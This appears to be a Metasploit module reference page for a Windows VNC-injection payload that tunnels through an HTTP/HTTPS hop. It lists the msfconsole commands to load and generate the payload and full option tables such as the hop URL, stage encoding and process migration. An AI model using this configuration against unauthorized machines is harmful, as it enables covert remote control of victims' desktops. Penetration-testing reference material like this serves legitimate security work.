VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager - Metasploit
This page contains detailed information about how to use the payload/windows/vncinject/reverse_hop_http metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
Module: payload/windows/vncinject/reverse_hop_http
Source code: modules/payloads/stagers/windows/reverse_hop_http.rb
Disclosure date: -
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): x86
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
Inject a VNC Dll via a reflective loader (staged). Tunnel communication over an HTTP or HTTPS hop point. Note that you must first upload data/hop/hop.php to the PHP server you wish to use as a hop.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use payload/windows/vncinject/reverse_hop_http
msf payload(reverse_hop_http) > show options
... show and set options ...
msf payload(reverse_hop_http) > generate
To learn how to generate payload/windows/vncinject/reverse_hop_http with msfvenom, please read this.
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Msfconsole Usage
Here is how the windows/vncinject/reverse_hop_http payload looks in the msfconsole:
msf6 > use payload/windows/vncinject/reverse_hop_http
msf6 payload(windows/vncinject/reverse_hop_http) > show info
Name: VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
Module: payload/windows/vncinject/reverse_hop_http
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 353
Rank: Normal
Provided by:
sf <[email protected]>
scriptjunkie <[email protected]>
bannedit <[email protected]>
hdm <[email protected]>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
AUTOVNC true yes Automatically launch VNC viewer if present
DisableCourtesyShell true no Disables the Metasploit Courtesy shell
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
HOPURL http://example.com/hop.php yes The full URL of the hop script
LURI no The HTTP Path
VNCHOST 127.0.0.1 yes The local host to use for the VNC proxy
VNCPORT 5900 yes The local port to use for the VNC proxy
ViewOnly true no Runs the viewer in view mode
Description:
Inject a VNC Dll via a reflective loader (staged). Tunnel
communication over an HTTP or HTTPS hop point. Note that you must
first upload data/hop/hop.php to the PHP server you wish to use as a
hop.
Module Options
This is a complete list of options available in the windows/vncinject/reverse_hop_http payload:
msf6 payload(windows/vncinject/reverse_hop_http) > show options
Module options (payload/windows/vncinject/reverse_hop_http):
Name Current Setting Required Description
---- --------------- -------- -----------
AUTOVNC true yes Automatically launch VNC viewer if present
DisableCourtesyShell true no Disables the Metasploit Courtesy shell
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
HOPURL http://example.com/hop.php yes The full URL of the hop script
LURI no The HTTP Path
VNCHOST 127.0.0.1 yes The local host to use for the VNC proxy
VNCPORT 5900 yes The local port to use for the VNC proxy
ViewOnly true no Runs the viewer in view mode
Advanced Options
Here is a complete list of advanced options supported by the windows/vncinject/reverse_hop_http payload:
msf6 payload(windows/vncinject/reverse_hop_http) > show advanced
Module advanced options (payload/windows/vncinject/reverse_hop_http):
Name Current Setting Required Description
---- --------------- -------- -----------
DisableSessionTracking false no Disables the VNC payload from following the active session as users log in an out of the input desktop
EnableStageEncoding false no Encode the second stage payload
HttpServerName Apache no The server header that the handler will send in response to requests
HttpUnknownRequestResponse <html><body><h1>It works!</h1></body></html> no The returned HTML response body when the handler receives a request that is not from a payload
HttpUserAgent Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko no The user-agent that the payload should use for communication Max parameter length: 255 characters
IgnoreUnknownPayloads false no Whether to drop connections from payloads using unknown UUIDs
OverrideLHOST no When OverrideRequestHost is set, use this value as the host name for secondary requests
OverrideLPORT no When OverrideRequestHost is set, use this value as the port number for secondary requests
OverrideRequestHost false no Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT
OverrideScheme no When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
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Related Pull Requests
- #14584 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/base
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #2525 Merged Pull Request: Change module boilerplate
- #2426 Merged Pull Request: Find and replace Msf::Config.install_root, "data"
- #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences
References
- CVE: Not available
- https://github.com/stephenfewer/ReflectiveDLLInjection
- https://github.com/rapid7/ReflectiveDLLInjection
See Also
Check also the following modules related to this module:
- payload/windows/vncinject/bind_hidden_ipknock_tcp
- payload/windows/vncinject/bind_hidden_tcp
- payload/windows/vncinject/bind_ipv6_tcp
- payload/windows/vncinject/bind_ipv6_tcp_uuid
- payload/windows/vncinject/bind_named_pipe
- payload/windows/vncinject/bind_nonx_tcp
- payload/windows/vncinject/bind_tcp
- payload/windows/vncinject/bind_tcp_rc4
- payload/windows/vncinject/bind_tcp_uuid
- payload/windows/vncinject/find_tag
- payload/windows/vncinject/reverse_http
- payload/windows/vncinject/reverse_http_proxy_pstore
- payload/windows/vncinject/reverse_ipv6_tcp
- payload/windows/vncinject/reverse_nonx_tcp
- payload/windows/vncinject/reverse_ord_tcp
- payload/windows/vncinject/reverse_tcp
- payload/windows/vncinject/reverse_tcp_allports
- payload/windows/vncinject/reverse_tcp_dns
- payload/windows/vncinject/reverse_tcp_rc4
- payload/windows/vncinject/reverse_tcp_rc4_dns
- payload/windows/vncinject/reverse_tcp_uuid
- payload/windows/vncinject/reverse_winhttp
Authors
- sf
- scriptjunkie <scriptjunkie[at]scriptjunkie.us>
- bannedit
- hdm
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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